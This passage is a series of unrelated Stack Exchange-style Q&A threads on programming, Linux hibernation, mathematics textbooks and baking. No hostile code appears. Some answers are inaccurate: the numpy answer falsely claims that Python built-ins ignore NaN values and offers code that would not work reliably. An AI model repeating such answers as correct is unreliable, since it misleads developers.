  '_diskquota' => string '262144000' (length=9)
  '_diskused' => string '31459' (length=5)
  'diskquota' => string '250' (length=3)
  'diskused' => string '0.03' (length=4)
  'diskusedpercent' => string '0' (length=1)
  'diskusedpercent20' => string '0' (length=1)
  'domain' => string 'xxxxxxx.co.uk' (length=20)
  'email' => string 'info@xxxxxxx.co.uk' (length=25)
  'humandiskquota' => string '250Â MB' (length=7)
  'humandiskused' => string '30.72Â KB' (length=9)
  'login' => string 'info@xxxxxxx.co.uk' (length=25)
  'mtime' => string '1347964089' (length=10)
  'txtdiskquota' => string '250' (length=3)
  'user' => string 'info' (length=4)

I'm turning it into an HTML table with the below function:
public function formatEmailAccountsArrayToTable( $email_accounts )  {
    $returnHTML = '';
    $topentag   =   '
';
    $theader    =   '

                        Email	User	Domain	Disk Quota	Disk Used

';
    $tclosetag  =   '

';

    $returnHTML .= $topentag . $theader;

    foreach( $email_accounts as $v ) {
        $returnHTML .= '

                ' . $v['email'] . '
                ' . $v['user'] . '
                ' . $v['domain'] . '
                ' . $v['diskquota'] . '
                ' . $v['diskused'] . '

';
    }
    $returnHTML .= $tclosetag;

    return $returnHTML;
}

The output is as follows:
Email   User    Domain  Disk Quota  Disk Used
2   2   2   2   2
3   3   3   3   3
2   2   2   2   2
0   0   0   0   0
0   0   0   0   0
0   0   0   0   0
b   b   b   b   b
i   i   i   i   i
2   2   2   2   2
3   3   3   3   3
i   i   i   i   i
1   1   1   1   1
2   2   2   2   2
i   i   i   i   i

I can't see why any of the values would be truncated/transformed to the values that are output in the table.
Does anyone know why this might be happening as the processes should be very straightforward but is behaving strangely?

A:

Your $email_accounts array is a two-dimensional array, which you're iterating over in a foreach loop, at which point $v represents a single property of that array.
Ideally you need to restructure your array in order for the function to work correctly, a quickfix would be to do something like:
$email_accounts = array($email_accounts);

Which would give you:
array
  0 =>
    array
      '_diskquota' => string '262144000' (length=9)
      '_diskused' => string '31459' (length=5)
      'diskquota' => string '250' (length=3)

A:

Your $email_accounts array structure is like this:
array(
    'x1' => 'y',
    'x2' => 'y'
)

It should be like this to work in your code:
array(
    0 => array(
        'x1' => 'y',
        'x2' => 'y'
    ),
    1 => array(
        'x1' => 'y',
        'x2' => 'y'
    )
)


Q:

Want to learn differential geometry and Riemannian geometry by myself

I want to follow a Ph.D. programme on geometric analysis. The main focus are Monge-Ampere equations and convex level set of $p$-harmonic equations. The theory of PDEs is very familar to me. However, I have little knowledge of the geometry.
Therefore, I want some readable  texts on this issue. Since (linear) functional analysis and nonlinear analysis are my stong points, I want the texts to describe the geometry in terms of analysis.

A:

Thierry Aubin, A Course in Differential Geometry would be suitable for your goals. It is self-contained (includes the necessary background from differential topology and reaches the Riemannian geometry), and features a chapter with an introduction to Yamabe problem (one of the central topics in the geometric PDEs). A delicious part of this book is a lot of solved exercises that make your acquaintance with the subject much faster.


Q:

How to get swift to work with an existing php/mysql hashed passwords

I have a website with quite a lot of users. Their passwords are stored in a mysql database and I hashed them using php 7 password_hash and when a user logs in I use password_verify
I now however want to build an iOS app using swift. I have seen that you can connect to a mysql database which is fine for CRUD operations but my problem is users registering and logging in.
Is there a way to tap into php's password_verify and password_hash?
Any suggestions would be appreciated as I want the impact, if any, on the existing users to be minimal.

A:

You will still have to do the password verification on the server using PHP by creating an API that the iOS app can talk to.
What you have right now is a Server which holds the website code and the database. When a user logs in via a web browser (the client) the web browser sends the username/password to the server and the server does the work of verification and sends the response to the client.
An iOS app will also be a client. When a user enters a username/password on the iOS client, take that information and send it to the server and have the server do the verification and send back a response to the iOS client.
Do a search for REST api to see how to build what you are looking for on the server. And look at NSURLSession in the apple docs to see how to communicate with your server.


Q:

Edible lollipop sticks for a complicated birthday cake

I'm baking a cake for my sister. Though the cake will be simple. I decided to make chocolate cupcake lollipops. The cupcakes will read out her traits like nice, awesome etc. I need some advice on how to make edible sticks which will be connecting the base cake and the cupcakes.

I want them to be edible because long story short she always wondered why is there the point of the stick if its not eatable when she was young.
I also want to know how to prevent the cupcakes from sagging down and dropping on the base cake.

A:

The brainstorming in the comments has provided numerous examples:

Candy cigarettes
These are likely the most realistic sticks you will find, as they're usually completely white, but fairly soft so use care when attaching the muffin to the top:

Pocky / Mikado
These are chocolate covered biscuit sticks, they're much more sturdy but not the right colour:

There is also a Cookies & Cream flavoured Pocky, marketed as Pocky Panda, which is white and the closest resemblance they make. This may require being purchased from the internet though as I'd never heard of them before:

Rolled Chocolate Wafer Biscuits
These are simply tubes of wafer biscuits, typically filled with chocolate, such as DeBeukelaer Pirouline and Pepperidge Farm Pirouette:

Stick Candy and Rock
Quite simply sticks made out of candy, I suspect Rock will be less common outside the United Kingdom, but Stick Candy should be simple to find.
Rock is a hard candy tube up to an inch thick which could support a table, nevermind a cupcake:

Stick Candy is basically un-bent candy canes and less thick than rock, though very similar:


Q:

Getting started with wxWidgets and CLion?

Can anyone suggest a tutorial or getting started guide to CLion and wxWdgets? I have searched around but am unable to find anything.

A:

Well,

you should download WxWidgets here http://www.wxwidgets.org/downloads/.
Then, you should compile and install to your system.
Download and install CLion.
Create new Project.
Then, follow to this edit your CMakeLists.txt Building wxWidgets 3.1.0 on CLion (Ubuntu)
Then try Hello World sample http://docs.wxwidgets.org/trunk/overview_helloworld.html.
If everything okay, start to develop great apps!


Q:

Function to find local maximum

I have numpy vectors in which I want to locate the maximum value within a restricted index range.  The vector may contain NaN values.  I haven't been able to find a solution in numpy's max functions that handles both NaN's and subranges.  Does Python have a solution?
EXAMPLE: I want the second maximum (5.), between the 7th and the 11th position inside the array.
import numpy as np

b = np.array([3, np.nan, 5.3, 7., 8,5., 0, 1, 3, 5., 2.4, .1, .3, 0.5])
c = np.nanmax(a)
d = np.nanargmax(b)

I tried to build my own function; it fails because of the NaN's -- and it's ugly. See below.
def rightmax(vector,s,f):
    l = 0
    peak = 0
    ml = 0
    for val in vector:
        if l < s or l >= f:
            continue
        elif val > peak:
            peak = val
            ml = l
        l = l+1
    return peak, ml

A:

You said you wanted this in Python; does this handle things for you?  Python simply ignores NaN values in most of its built-in functions.
import numpy as np

def local_max(a, start, finish):
    local = a[start:finish+1]
    loc_max = max(local)
    loc_pos = local.index(loc_max) + start
    return loc_max, loc_pos

data = [3, np.nan, 5.3, 7.0, 8, 5.0, 0, 1, 3, 5.0, 2.4, 0.1, 0.3, 0.5]

print local_max(data, 7, 11)
print local_max(data, 0, 5)


Q:

What is the use of abstract class that implements an interface

While reading Herbert Schildt I came across partial implementation where overriding is'nt mandatory , But I fail to understand why do we implement such an interface where we don't override its methods :
interface CallBack{
  void callback();
}

abstract class Incomplete implements Callback {     //Legal
void someMethod();
}

Is there any practical use of such a class or it's just theoretical ?

A:

The name it self showing that it's abstract, it need not to implement. Where as the subclasses of that abstract class must and must full fill that definition and needs to implement that methods in that interface.


Q:

WP REST API - reading custom post type

I have a WP site that runs on WP version 4.3 and using a plugin WP REST API version2-beta9. I have a custom post type animals which has an ACF select field of class which has values like mammals, reptile, etc.
If getting values of custom post types is available for WP REST API, is it possible that I can GET request on my endpoint to retrieve values of all mammals under the animals custom post type? If yes, how do I do that?

A:

I have checked the WP REST API documentation for the version2-beta9, it is not yet implemented so I guess I have to code my own plugin to work around on it.


Q:

Server based reuse - DLL, GAC, or REST?

We have a piece of functionality that is used by several different applications (clients) on the same server. It can best be modeled as a service, has a backend database, and there will only be one version of the functionality and the database in use at any one time.
Until now we have employed simple DLL-reuse, with the functionality, its configuration file, and dependencies deployed everywhere it is used. Because any changes now have to be made several places, this method is painful when creating new versions of the functionality or when new clients want to use it.
We are wondering if there is a better way to do this, and have come up with two possible alternatives.

Put the DLL (and the dependencies) in the GAC. The question is then how to configure the component. As the clients have no interest in the configuration, we are leaning towards storing the config file in a hard-coded path on the server.
Publish the functionality as an internal (REST-based) service. Access to it can be limited to internal clients using the firewall.

As we see it, the pros of #1 seem to be performance and possibly security, whereas #2 can be seen as simpler to set up.
Are we missing anything important here? Has anybody been in a similar situation before and wants to share some insight?

A:

This is a problem I've struggled with many times and there really isn't any best answer other then it depends. My personal opinion is that you need to stay away from option 1 for a couple of reasons:

By having all your clients share a single binary it will now require all of your clients to be tested each time you make a change to it. Now I know in your exact case you might have to do this anyways since we can assume you would be modifying the database that sits behind the component.
Do not hard code anything. You can store your configuration path in an AppSettings section in the machine.config file.

As for option 2 one alternative would be to use WCF (assuming your environment can support it). Using WCF you could then use a TCP transport using binary serilization (And there might be a shared memory transport). Both of these would help bring the performance gap closer (Although option 1 will always outperform a service based approach).
By going with option 2 you also alleviate the need to retest all clients, as you can develop automated tests to validate that your contract is not broken. This will allow you to publish to a single place, run quick automated tests, and know that your not breaking the clients.
With that said you can accomplish the same thing using option 1 and a good set of unit tests, but based on my experience option 2 will be easier in the long run.
Option 2 also lets you scale out the service in the future if you ever need more CPU power.
Personally I think Option 1 is easier to setup, as you won't have to deal with configuring your firewall, handling authentication, setting up a service etc...It will also be easier to debug (distributing an application introduces new types of failures for example the site hosting your service crashes and your clients start getting failures).
One last suggestion is that you use a proxy / facade pattern to insolate your clients from the actual location of the service. This will let you expand over time without having to modify the client code.


Q:

Phoenix - controller with multiple render

Trying to create an app with Elixir + Phoenix, that would be able to handle both "browser" and "api" requests to handle its resources.
Is it possible to do it without having to do something like that :
scope "/", App do
  pipe_through :browser

  resources "/users", UserController
end

scope "/api", App.API as: :api do
  pipe_through :api

  resources "/users", UserController
end

which would mean having to create two controllers, which might have the same behavior, except that it will render HTML with the browser pipeline and, say JSON, for the api pipeline.
I was thinking maybe something like the Rails respond_to do |format| ...

A:

As Gazler said, you are probably best served by having separate pipelines, but something like this can be pleasantly done with pattern matching on the same controller actions:
def show(conn, %{"format" => "html"} = params) do
  # ...
end

def show(conn, %{"format" => "json"} = params) do
  # ...
end

Or if the function bodies are the same, and you would only like to render a template based on the accept headers, you can do:
def show(conn, params) do
  # ...

  render conn, :show
end

Passing an atom as the template name will cause phoenix to check the accept headers and render the .json or .html template.

A:

I wouldn't recommend it (I would recommend having two controllers and move your logic into a different module that is called by both controllers) but it can be done. You can share a controller, but you still need a separate pipeline to ensure the correct response type (html/json) is set.
The following will use the same controller and view, but render json or html depending on the route. "/" is html, "/api" is json.
Router:
defmodule ScopeExample.Router do
  use ScopeExample.Web, :router

  pipeline :browser do
    plug :accepts, ["html"]
    plug :fetch_session
    plug :fetch_flash
    plug :protect_from_forgery
  end

  pipeline :api do
    plug :accepts, ["json"]
  end

  scope "/", ScopeExample do
    pipe_through :browser # Use the default browser stack

    get "/", PageController, :index
  end

  scope "/api", ScopeExample do
    pipe_through :api # Use the default browser stack

    get "/", PageController, :index
  end
end

Controller:
defmodule ScopeExample.PageController do
  use ScopeExample.Web, :controller

  plug :action

  def index(conn, params) do
    render conn, :index
  end
end

View:
defmodule ScopeExample.PageView do
  use ScopeExample.Web, :view

  def render("index.json", _opts) do
    %{foo: "bar"}
  end
end

You can also share the router and have everything served by the same route if you use a router like:
defmodule ScopeExample.Router do
  use ScopeExample.Web, :router

  pipeline :browser do
    plug :accepts, ["html", "json"]
    plug :fetch_session
    plug :fetch_flash
    plug :protect_from_forgery
  end

  scope "/", ScopeExample do
    pipe_through :browser # Use the default browser stack

    get "/", PageController, :index
  end
end

You can then specify the format using ?format=json at the end of the url - I would recommend going with different urls for your API and site however.


Q:

How to get d3.js tree layout to sort nodes alphabetically?

I'm experimenting with this example of d3.js (pasted below in its entirety) to draw a tree based on a JSON tree structure.
This code draws a nice tree, but it doesn't sort the sibling nodes in any order vertically. The data just happens to already be sorted in the underlying JSON object.
I want to know how I can sort these nodes vertically in Alphabetic order (A at the top, Z at the bottom, ideally case insensitive) if the underlying data is not already sorted. What do I need to change in the code below??
START EDIT:
I would like to do this without modifying the underlying JSON object.
One thing I tried was to add tree.sort(d3.ascending); right after the d3.layout.tree() line. But that didn't have any effect. I don't know why.
END EDIT
<!DOCTYPE html>
    <meta charset="utf-8">
    <style>

    .node {
      cursor: pointer;
    }

    .node circle {
      fill: #fff;
      stroke: steelblue;
      stroke-width: 1.5px;
    }

    .node text {
      font: 10px sans-serif;
    }

    .link {
      fill: none;
      stroke: #ccc;
      stroke-width: 1.5px;
    }

    </style>
    <body>
    <script src="//d3js.org/d3.v3.min.js"></script>
    <script>

    var margin = {top: 20, right: 120, bottom: 20, left: 120},
        width = 960 - margin.right - margin.left,
        height = 800 - margin.top - margin.bottom;

    var i = 0,
        duration = 750,
        root;

    var tree = d3.layout.tree()
        .size([height, width]);

    var diagonal = d3.svg.diagonal()
        .projection(function(d) { return [d.y, d.x]; });

    var svg = d3.select("body").append("svg")
        .attr("width", width + margin.right + margin.left)
        .attr("height", height + margin.top + margin.bottom)
      .append("g")
        .attr("transform", "translate(" + margin.left + "," + margin.top + ")");

    d3.json("/mbostock/raw/4063550/flare.json", function(error, flare) {
      if (error) throw error;

      root = flare;
      root.x0 = height / 2;
      root.y0 = 0;

      function collapse(d) {
        if (d.children) {
          d._children = d.children;
          d._children.forEach(collapse);
          d.children = null;
        }
      }

      root.children.forEach(collapse);
      update(root);
    });

    d3.select(self.frameElement).style("height", "800px");

    function update(source) {

      // Compute the new tree layout.
      var nodes = tree.nodes(root).reverse(),
          links = tree.links(nodes);

      // Normalize for fixed-depth.
      nodes.forEach(function(d) { d.y = d.depth * 180; });

      // Update the nodes…
      var node = svg.selectAll("g.node")
          .data(nodes, function(d) { return d.id || (d.id = ++i); });

      // Enter any new nodes at the parent's previous position.
      var nodeEnter = node.enter().append("g")
          .attr("class", "node")
          .attr("transform", function(d) { return "translate(" + source.y0 + "," + source.x0 + ")"; })
          .on("click", click);

      nodeEnter.append("circle")
          .attr("r", 1e-6)
          .style("fill", function(d) { return d._children ? "lightsteelblue" : "#fff"; });

      nodeEnter.append("text")
          .attr("x", function(d) { return d.children || d._children ? -10 : 10; })
          .attr("dy", ".35em")
          .attr("text-anchor", function(d) { return d.children || d._children ? "end" : "start"; })
          .text(function(d) { return d.name; })
          .style("fill-opacity", 1e-6);

      // Transition nodes to their new position.
      var nodeUpdate = node.transition()
          .duration(duration)
          .attr("transform", function(d) { return "translate(" + d.y + "," + d.x + ")"; });

      nodeUpdate.select("circle")
          .attr("r", 4.5)
          .style("fill", function(d) { return d._children ? "lightsteelblue" : "#fff"; });

      nodeUpdate.select("text")
          .style("fill-opacity", 1);

      // Transition exiting nodes to the parent's new position.
      var nodeExit = node.exit().transition()
          .duration(duration)
          .attr("transform", function(d) { return "translate(" + source.y + "," + source.x + ")"; })
          .remove();

      nodeExit.select("circle")
          .attr("r", 1e-6);

      nodeExit.select("text")
          .style("fill-opacity", 1e-6);

      // Update the links…
      var link = svg.selectAll("path.link")
          .data(links, function(d) { return d.target.id; });

      // Enter any new links at the parent's previous position.
      link.enter().insert("path", "g")
          .attr("class", "link")
          .attr("d", function(d) {
            var o = {x: source.x0, y: source.y0};
            return diagonal({source: o, target: o});
          });

      // Transition links to their new position.
      link.transition()
          .duration(duration)
          .attr("d", diagonal);

      // Transition exiting nodes to the parent's new position.
      link.exit().transition()
          .duration(duration)
          .attr("d", function(d) {
            var o = {x: source.x, y: source.y};
            return diagonal({source: o, target: o});
          })
          .remove();

      // Stash the old positions for transition.
      nodes.forEach(function(d) {
        d.x0 = d.x;
        d.y0 = d.y;
      });
    }

    // Toggle children on click.
    function click(d) {
      if (d.children) {
        d._children = d.children;
        d.children = null;
      } else {
        d.children = d._children;
        d._children = null;
      }
      update(d);
    }

    </script>

A:

Instead of this:
tree.sort(d3.ascending)

Do it like this:
var tree = d3.layout.tree()
    .size([height, width]).sort(function(a,b){
      return a.name.toLowerCase().localeCompare(b.name.toLowerCase());
    });;

Working code here


Q:

Getting the output of a child process's "PHP Fatal Error"

I've already learned that you can't catch PHP Fatal Errors, and your script will terminate about as soon as it hits one.  I'm running a large PHP test suite (not PHPUnit, but a custom solution) on a CI server, and want to have the test pass/failures to be reported in JUnit output format.
Since way too many things in PHP are "Fatal Errors", I don't want the Fatal Error to end my test run, so my solution was to use forking, something like this:
foreach($tests as $test) {
    $pid = pcntl_fork();
    if ($pid) {
        $test->run();
        $test->write_junit($some_file_name);
    }
    else {
        pcntl_wait($status);
        if ($status) { //fatal error
            // from here we have no data about why it
            // crashed, since that was in the child's memory
        }
    }
}

My idea was to close the STDERR in the child and have it send it's standard error to a pipe that the parent can read and save the error data into the JUnit file, but now I don't know if that's possible.  Can you change the file for STDERR?  Basically, what I want to do is like popen but without the exec() step.
Can I get the output of a child process after it died of a PHP Fatal Error?

A:

You can register a shutdown function in the child process and check the last error when it's called. If there's an error that matches one of the fatal types (E_ERROR, E_COMPILE_ERROR, E_CORE_ERROR, and E_PARSE), write it into the JUnit file. While you cannot recover from a fatal error, your shutdown function is still called.
Update: As Pacerier points out in the comments, since E_CORE_ERROR is only thrown while the PHP interpreter is bootstrapping itself, it occurs before a shutdown function can be registered and cannot be trapped.


Q:

Cannot resume after hibernate

I have been using hibernate with Ubuntu 16.04 without a problem but suddenly it stopped working correctly. Whether I hibernate from the power menu or using sudo pm-hibernate, it turns the computer off but when I turn it on again and choose Ubuntu from the grub menu, it just gives a black screen. I tried some solutions (listed below) but none worked.
I am really disappointed that with every Ubuntu release I use, I usually have similar problems with hibernate (with different laptops).
PS: I have dual boot with Windows 10, but hibernate was working perfectly with it for a long time.
Didn't work:

Change GRUB_CMDLINE_LINUX_DEFAULT variable in /etc/default/grub
Clear swap space and caches
Use netext73

A:

I had the same issues. There is a bug in the most recent kernel in 16.04. Here are the explicit steps I have done. Do the first one and, if it solves the problem for you, stop there. If not, go on.
1. Set the computer to boot with the previous kernel
Start with:

uname -r

Mine says 4.13... Then do:

grep -i "menuentry '" /boot/grub/grub.cfg

You will see the different menu entries in grub. In my case, together with "Ubuntu, with Linux 4.13..." there was a menu option to boot with the previous kernel. It said Ubuntu, with Linux 4.10.0-28-generic. In the same line you have something like 'gnulinux-4.10.0-28-generic-advanced...(a bunch of caracters here)' Copy that text, and then we have to tell grub2 to boot with that kernel by default:

sudo cp /etc/default/grub /etc/default/grub.back
sudo gedit /etc/default/grub

Then I inserted this line:

GRUB_DEFAULT="gnulinux-advanced-4a50e1e8-56d9-413e-9954-55648888a31d>gnulinux-4.10.0-28-generic-advanced-4a50e1e8-56d9-413e-9954-55648888a31d"

Please do not copy this line literally, but use the output of the previous grep command as said. Then save and,

sudo update-grub

Then re-boot and check that the output of "uname -r" is the older kernel (4.10... in my case). You may be able to hibernate now, or not. If not, proceed to the next step.
2. Install different stuff to hibernate than the default one:
In my case, using the older kernel got rid of the black screen of death and allowed me to resume after hibernation, but the contents of the disk image were going wiped out, i.e. it was identical to a reboot, not hibernation. So I installed some shit that hibernates differently:

sudo apt-get install uswsusp

Then close the terminal, open it again and type:

sudo s2disk

This is supposed to hibernate the computer. If, after resuming, everything is as you left it, then you have solved the issue. But you still need to proceed to step 4 in order to tell Ubuntu that you want to use the new stuff by default and also that you want to have options to hibernate in the applications.
3. Tell grub 2 where the swap partition is:
It still didn't worked for me, so I had to tell grub where the swap partition is:

cat /etc/fstab

I could read there "# swap was on /dev/sda2 during installation", so I edited grub again:

sudo gedit /etc/default/grub

And added:

GRUB_CMDLINE_LINUX_DEFAULT="intel_pstate=disable resume=/dev/sda2"

The important part is "resume=/dev/sda2" but the previous thing (intel blablabla) is there because of other reasons. Well, the next step is:

sudo update-grub

Re-boot and try again to hibernate with some stuff going on (e.g. open a movie with vlc) with:

sudo s2disk

If the stuff is still there after you resume, you have solved the issue.
4. Telling Ubuntu to use the new hibernation stuff you have installed instead of the default:
You have now to tell Ubuntu to use s2disk to hibernate instead of the stuff that comes by default:

sudo gedit /etc/pm/config.d/00sleep_module

And insert there:

SLEEP_MODULE="uswsusp"

Save and close the file. Then:

sudo gedit /etc/polkit-1/localauthority/50-local.d/enable-hibernate.pkla

And insert there:

[Re-enable hibernate by default in upower]
Identity=unix-user:*
Action=org.freedesktop.upower.hibernate
ResultActive=yes
[Re-enable hibernate by default in logind]
Identity=unix-user:*
Action=org.freedesktop.login1.hibernate;org.freedesktop.login1.handle-hibernate-key;org.freedesktop.login1;org.freedesktop.login1.hibernate-multiple-sessions;org.freedesktop.login1.hibernate-ignore-inhibit
ResultActive=yes

Reboot and try again.
5. If after running Step 4, you can't hibernate using sudo systemctl hibernate then do the following
Step 4 is not enough to make the switch to uswsusp in Ubuntu 18.10.
Edit the hibernation service

sudo systemctl edit systemd-hibernate.service

And add the following
[Service]
ExecStart=
ExecStartPre=-/bin/run-parts -v -a pre /usr/lib/systemd/system-sleep
ExecStart=/usr/sbin/s2disk
ExecStartPost=-/bin/run-parts -v --reverse -a post /usr/lib/systemd/system-sleep

Update systemd

sudo systemctl daemon-reload

Test the setup by running the following

sudo systemctl hibernate

A:

@karim I had the same problem here is how fixed it:
Use the swap partition's UUID instead of it's mounting point in the RESUME parameter resume=UUID=# in both /etc/default/grub and /etc/initramfs-tools/conf.d/resume
Create an entry for the swap partition  in /etc/fstab without a mounting point something like this
# Entry for Swap :
UUID=# none  swap    sw              0       0

In /etc/default/grub I've used a separate entry for resuming hibernation
# FOR HIBERNATION
GRUB_CMDLINE_LINUX="resume=UUID=..."

Create a policykit in local authority (pkla) as explained by @Mephisto
Update initramfs and GRUB
sudo update-initramfs -u -k all
sudo update-grub

Reboot , open some apps and use systemctl hibernate (without sudo) to see if it works

A:

Thank you all for your answers. The problem was solved in Kernel 4.15. I just tried it now and it works. Apparently the HWE kernel fixed it (linux-generic-hwe-16.04 package).
If you are using Ubuntu 16.04, you just need to install the latest updates to upgrade the kernel. You can read more details about that here.
My current kernel version is 4.15.0-33-generic.


Q:

How to set mobile as NFC tag with host-based card emulation (HCE)

I want to write a program that can store a unique ID and then send it as NFC tag to another NFC reader devices. How can I send my code (nfcTag) to the NFC reader? Can I do this without having an AID for my application?
public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        PackageManager pm = this.getPackageManager();
        String nfcTag="123456789";                          //the code wants to work as NFC tag
        TextView msg = (TextView) findViewById(R.id.txtShow);
        byte[] t2 = new byte[9];                            //t2 return from processCommandApdu

        t2 = nfcTag.getBytes();

        @Override
        public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
            msg.setText(nfcTag);

            return t2;                  //return nfcTag too read with NFC tag reader devices
        }
        @Override
        public void onDeactivated(int reason) {
            msg.setText("Your phone does not has HCE hardware.");

            if (!pm.hasSystemFeature(PackageManager.FEATURE_NFC_HOST_CARD_EMULATION)) {
                // HCE is not available on the device.
                Toast.makeText(this, "The device does not has HCE hardware.",
                        Toast.LENGTH_SHORT).show();
            }
            else {
                Toast.makeText(this, "HCE supported on your device.",
                        Toast.LENGTH_SHORT).show();
            }
        }
    }
}

and here is AndroidManifest.xml
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <service android:name=".MyHostApduService" android:exported="true"
            android:permission="android.permission.BIND_NFC_SERVICE">
            <intent-filter>
                <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
            </intent-filter>
        </service>

        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

A:

For Android HCE, you will first need to create a service component (that's a separate class and not part of your activity):
public class MyHostApduService extends HostApduService {
    @Override
    public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
        // TODO: process the incoming APDU command(s) and give reasonable responses
    }

    @Override
    public void onDeactivated(int reason) {
    }
}

Smartcard readers (actually the software that accesses cards through them) use ISO/IEC 7816-4 APDU command sequences to communicate with (emulated) contactless smartcards. Therefore, your HCE service needs to process these APDUs and create proper respondes for the reader. This command sequence will consist of at least the SELECT (by AID) command that was used to select your HCE service. You should respond to that SELECT command with status word 9000 (i.e. new byte[] { (byte)0x90, (byte)0x00 }) and, optionally, a file control information structure.
You further need to define an AID filter for your HCE service:
<service android:name=".MyHostApduService" android:exported="true"
         android:permission="android.permission.BIND_NFC_SERVICE">
    <intent-filter>
        <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
    </intent-filter>
    <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
               android:resource="@xml/apduservice"/>
</service>

And in res/xml/apduservice.xml:
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
           android:description="My HCE Service"
           android:requireDeviceUnlock="false">
    <aid-group android:description="My HCE Service" android:category="other">
        <aid-filter android:name="F0010203040506"/>
    </aid-group>
</host-apdu-service>

Replace the AID F0010203040506 with whatever your reader (software) uses to access the application on your (emulated) smartcard.
What you cannot do with Android HCE:

Emulate a specific anti-collision identifier (UID)
Choose the RF signaling protocol (can be either NFC-A or NFC-B)
Communicate with readers that don't send an ISO SELECT (by AID/DF name) command


Q:

How to compare two arrays and remove matching elements from one for the next loop?

How else might you compare two arrays ($A and $B )and reduce matching elements out of the first to prep for the next loop over the array $A?
$A = array(1,2,3,4,5,6,7,8);
$B = array(1,2,3,4);

$C = array_intersect($A,$B);  //equals (1,2,3,4)
$A = array_diff($A,$B);       //equals (5,6,7,8)

Is this the simplest way or is there a way to use another function that I haven't thought of?  My goal is to have an array that I can loop over, pulling out groups of related content (I have defined those relationships elsewhere) until the array returns false.

A:

You've got it. Just use array_diff or array_intersect. Doesn't get much easier than that.
Edit:
For example:
$arr_1 = array_diff($arr_1, $arr_2);
$arr_2 = array_diff($arr_2, $arr_1);

Source

A:

Dear easy and clean way
$clean1 = array_diff($array1, $array2);
$clean2 = array_diff($array2, $array1);
$final_output = array_merge($clean1, $clean2);


Q:

how to restore np.arry from np.array string in pandas?

how to restore np.arry from  np.array string in pandas?
np.arry is stored in a dataframe df,
>>> import pandas as pd
>>> df=pd.DataFrame({'X':['[2 5 6]','[5 6 9]']})
>>> df
         X
0  [2 5 6]
1  [5 6 9]

how can I restore the np.array and get the following
   [[2 5 6],
     [5 6 9]]

A:

Try this:
np.array([line for line in df['X'].map(lambda x: x.replace(']','').replace('[','').split(' '))]).astype(int)


Q:

Push to git during build

Jenkins has a post-build Git Publisher that can push to Git when the build job is done. But I want to push to git and then do some other stuff during my job.
Is this possible? I find when I try to just run git push during the build that I don't have any credentials set (apparently Jenkins uses GIT_SSH to do the fetching and pushing, but that environment variable isn't actually set during the build).
How can I access that GIT_SSH environment variable during the build?

A:

I ultimately solved this by making a pipeline job with multiple stages. The first stage makes source modifications and then does a post-build push, then the second phase does the rest of the stuff I want.


Q:

How do you pass "expensive" data from page to page using ASP.NET MVC 3?

I am doing my first ASP.NET MVC project.  (In fact, for the record, this is my first production website of any kind).
This is a mobile web page targeting HTML 5.
This page looks up some "expensive" information.  First it uses the html 5 geocoding feature to get the customers latlong from their browser.
I pass that information to a controller.  That controller fills in the City and State (into a location model) using the Google Maps API and then uses it in the view.
So this data is expensive in two ways, first it takes time to look it up and second, in the case of the Google API, it is literally not free in that Google limits the number of calls that can be made per day.
I understand that MVC is designed to "embrace" the web including the fact that http is a stateless protocol.
Nevertheless, I would like to avoid having to fetch this expensive data on every page load for every endpoint that needs it.  Furthermore, one other piece of state that I would like to keep track is the fact that the data has already been fetched.
What is the best way / best practice for achieving this on an MVC 3 web application?  Since my model for location has 4 data point (lat long city state) and there is a fifth data point (data retrieved) I would really like to avoid using querystrings to do this or a route for all of those data points?
I am sure this is a common need but I honestly don't know how to tackle it.  Any help will be appreciated.
Seth

A:

It Seems to me that you would like to cache the API call to google.
http://msdn.microsoft.com/en-us/library/18c1wd61(v=vs.71).aspx
You can store the object you got from google in cache and call it on the new controller event. you could also create another object that has the object from google and a bool that indicates if you have fetched the data or not.
It seem to me that the Cache would be your best bet.


Q:

How do I Unmarshal JSON?

I am still learning Go. I am trying to unmarshal a json into a struct. However, the struct has a field with a tag. Using reflection, I try to see if the tag has the string "json" in it. If it does, then the json to unmarshal should simply be unmarshaled into the field as a string.
Example:
const data = `{"I":3, "S":{"phone": {"sales": "2223334444"}}}`
type A struct {
    I int64
    S string `sql:"type:json"`
}

Problem is simple - unmarshal "S" in the json as a string into the struct A.
This is how far I have come. But I am stuck here.
http://play.golang.org/p/YzrhjuXxGN

A:

This is the go way of doing it - no reflection requred.  Create a new type RawString and create MarshalJSON and UnmarshalJSON methods for it. (playground)
// RawString is a raw encoded JSON object.
// It implements Marshaler and Unmarshaler and can
// be used to delay JSON decoding or precompute a JSON encoding.
type RawString string

// MarshalJSON returns *m as the JSON encoding of m.
func (m *RawString) MarshalJSON() ([]byte, error) {
    return []byte(*m), nil
}

// UnmarshalJSON sets *m to a copy of data.
func (m *RawString) UnmarshalJSON(data []byte) error {
    if m == nil {
        return errors.New("RawString: UnmarshalJSON on nil pointer")
    }
    *m += RawString(data)
    return nil
}

const data = `{"i":3, "S":{"phone": {"sales": "2223334444"}}}`

type A struct {
    I int64
    S RawString `sql:"type:json"`
}

func main() {
    a := A{}
    err := json.Unmarshal([]byte(data), &a)
    if err != nil {
        log.Fatal("Unmarshal failed", err)
    }
    fmt.Println("Done", a)
}

I modified the implementation of RawMessage to create the above.


Q:

How to programmatically add/remove an image to navigation bar title in Swift 3/Xcode

So I currently have a menu bar open and close on the left side of the app, and I want a certain image to appear on the navigation bar title when I open the menu. Below is my function for opening and closing the menu.
@IBAction func openMenu(_ sender: Any) {

    if (menuShowing) {
        self.navigationController?.navigationBar.barTintColor = UIColor(red:0.00, green:0.20, blue:0.63, alpha:1.0)
        navigationItem.leftBarButtonItem?.tintColor = UIColor.white
        navigationItem.titleView = ""
        leadingConstraint.constant = -240
        shadowLeadingConstraint.constant = -250
        UIView.animate(withDuration: 0.6, animations: {
